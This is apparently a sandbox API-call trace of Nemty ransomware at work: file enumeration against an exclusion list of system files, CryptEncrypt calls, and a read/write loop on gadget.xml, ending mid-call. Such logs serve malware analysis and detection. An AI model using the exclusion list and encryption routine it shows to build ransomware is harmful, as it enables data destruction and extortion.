[0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0150.194] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0150.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340178 [0150.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.198] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf25a30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xcf25a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcf25a30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0150.198] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0150.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0150.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0150.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0150.199] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0150.199] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0150.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0150.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0150.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0150.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0150.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0150.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0150.200] Sleep (dwMilliseconds=0x5) [0150.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd2ddc90, dwHighDateTime=0x1d561e8)) [0150.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd2ddc90, dwHighDateTime=0x1d561e8)) [0150.210] GetLastError () returned 0x12 [0150.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.210] GetLastError () returned 0x12 [0150.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.210] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0150.210] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0150.211] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0150.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0150.211] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="JSE3B6Jjsu9qCAjvevtYNdCuwfjktbf3FdIzT3+Jkx4GRshr2gqTFcNpexr7Q8UQ\r\n4Z+b4UVliXkppUSHe8OIekHwn6JflhtIRNrBDIHbaAFtIjM9drgZiFb42fno+pc+\r\nJhk5DQzhtkjdKURvTU8u7buTGM/wQNUUXPNeuOzWYIM0iqXTqViGEX2jvNLCeqOu\r\ne5r/ISmKD6j1Fxk8F3FwMDpgJdNZwNoMBUAqZHQeSS1O4e7nsR8wX7oXLUa/ZMya\r\nS1oQ/i/dzBoi17qBFTxtPa4hN0k8Z8lQnR0EdyDApsb0SHgGo6sc0/QTlqeNHeKS\r\nFGOsDs8Cx6wHU2ameNVFjQ==\r\n", pcchString=0x653e91c) returned 1 [0150.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0150.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.211] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.212] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0150.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.310] WriteFile (in: 